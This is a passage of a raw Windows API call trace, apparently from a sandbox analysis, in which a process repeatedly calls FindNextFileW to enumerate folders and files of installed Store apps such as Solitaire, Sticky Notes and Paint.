cFileName="Mobile", cAlternateFileName="")) returned 1 [0090.531] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0090.531] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x374f1a3e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x374f1a3e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x374f1a3e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x5f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes_frame.png", cAlternateFileName="")) returned 1 [0090.533] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0090.533] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37593788, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x37593788, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x37593788, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x68a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="western_10h.png", cAlternateFileName="")) returned 1 [0090.534] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0090.534] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x374f1a3e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xada5d89c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x376785a9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Western", cAlternateFileName="")) returned 0 [0090.534] FindClose (in: hFindFile=0x582e08 | out: hFindFile=0x582e08) returned 1 [0090.534] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0090.535] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3769e802, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xadb15f48, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x376c4a60, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tiles", cAlternateFileName="")) returned 1 [0090.537] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0090.537] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376c4a60, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x376c4a60, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x376c4a60, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xaed2, dwReserved0=0x0, dwReserved1=0x0, cFileName="TMP_tournament_trophy_blue.png", cAlternateFileName="")) returned 1 [0090.539] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0090.539] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x377d0a4a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x377d0a4a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x377d0a4a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x19c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="upPremium.jpg", cAlternateFileName="")) returned 1 [0090.539] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0090.539] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x377f6ca3, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xadb19d17, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x377f6ca3, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XboxFlow", cAlternateFileName="")) returned 1 [0090.539] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0090.539] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x377f6ca3, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xadb19d17, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x377f6ca3, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XboxFlow", cAlternateFileName="")) returned 0 [0090.539] FindClose (in: hFindFile=0x583008 | out: hFindFile=0x583008) returned 1 [0090.539] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0090.539] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37974437, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xadb1ac8e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37974437, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Avatars", cAlternateFileName="")) returned 1 [0090.539] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0090.539] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37974437, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xadb1bdb7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37974437, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 0 [0090.539] FindClose (in: hFindFile=0x582cc8 | out: hFindFile=0x582cc8) returned 1 [0090.539] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0090.539] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x377f6ca3, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3794e1d5, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3794e1d5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2fbe00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Avatars.dll", cAlternateFileName="")) returned 1 [0090.540] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0090.540] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37a24352, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x37da1ae8, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x37da1ae8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x845800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Xbox.Services.dll", cAlternateFileName="")) returned 1 [0090.542] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0090.542] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37ef901a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xadbfe34d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37f709ad, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HLSL", cAlternateFileName="")) returned 1 [0090.544] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0090.544] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37ef901a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xadbfe34d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37f709ad, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HLSL", cAlternateFileName="")) returned 0 [0090.544] FindClose (in: hFindFile=0x582d48 | out: hFindFile=0x582d48) returned 1 [0090.544] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0090.544] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37e86909, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xadb1de6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37ef901a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Builtin", cAlternateFileName="")) returned 0 [0090.544] FindClose (in: hFindFile=0x582cc8 | out: hFindFile=0x582cc8) returned 1 [0090.544] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0090.545] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37e86909, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xadb1d9b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37e86909, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shaders", cAlternateFileName="")) returned 0 [0090.545] FindClose (in: hFindFile=0x582f08 | out: hFindFile=0x582f08) returned 1 [0090.545] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0090.546] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37e86909, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xadb1d39d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37e86909, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rendering", cAlternateFileName="RENDER~1")) returned 0 [0090.546] FindClose (in: hFindFile=0x582dc8 | out: hFindFile=0x582dc8) returned 1 [0090.546] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0090.546] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37f709ad, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x38cb3b87, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x38cb3b87, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x21f6000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Solitaire.dll", cAlternateFileName="")) returned 1 [0090.548] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0090.548] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34110fcc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabf2fada, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3421c04b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 0 [0090.548] FindClose (in: hFindFile=0x582c08 | out: hFindFile=0x582c08) returned 1 [0090.548] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0090.549] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a98e846, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xcb314296, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xcb314296, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe", cAlternateFileName="MIA5B6~1.SCA")) returned 1 [0090.552] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0090.552] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xcb314296, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xcb314296, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xcb314296, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1 [0090.552] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0090.552] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6aa271af, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x6aa271af, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x6aa271af, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x658, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="")) returned 1 [0090.553] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0090.553] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69c2543c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xcb2ee04f, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xcb2ee04f, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MIFFC1~1.0_N")) returned 1 [0090.553] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0090.553] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69dc8e24, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x69dc8e24, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x69dc8e24, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x299d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0090.553] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0090.553] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xcb2ee04f, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xcb2ee04f, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xcb2ee04f, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0 [0090.553] FindClose (in: hFindFile=0x582c08 | out: hFindFile=0x582c08) returned 1 [0090.553] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0090.553] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69e152fc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xcb2ee04f, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xcb2ee04f, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe", cAlternateFileName="MIAB25~1.0_X")) returned 1 [0090.742] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0090.742] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e3b535, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x69e3b535, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x69e3b535, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x29c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0090.744] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0090.744] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69efa0fc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x69f2035a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x69f2035a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x100b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="clrcompression.dll", cAlternateFileName="")) returned 1 [0090.745] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0090.745] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a8a9a20, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaddfa4dd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6a8a9a20, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Images", cAlternateFileName="")) returned 0 [0090.745] FindClose (in: hFindFile=0x582dc8 | out: hFindFile=0x582dc8) returned 1 [0090.746] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0090.746] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xcb2ee04f, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xd8b5b46d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd8b5b46d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1 [0090.746] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0090.746] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a8cfc83, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaddfb0cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6a8cfc83, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0090.746] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0090.746] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a8cfc83, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x6a8cfc83, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x6a8cfc83, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1fe70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="")) returned 1 [0090.747] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0090.747] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69e61793, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xadd6e3ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x69e61793, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 0 [0090.747] FindClose (in: hFindFile=0x582c08 | out: hFindFile=0x582c08) returned 1 [0090.747] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0090.748] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa16112ba, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xcd2853a0, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xcd2853a0, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MSPaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MI34B5~1.0_N")) returned 1 [0090.762] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0090.762] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa178ea44, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa17b4c9e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xa17b4c9e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x299d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0090.763] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0090.763] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xcd2853a0, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xcd2853a0, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xcd2853a0, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0 [0090.763] FindClose (in: hFindFile=0x582b88 | out: hFindFile=0x582b88) returned 1 [0090.763] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0090.764] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa17daefc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xcd2853a0, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xcd2853a0, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 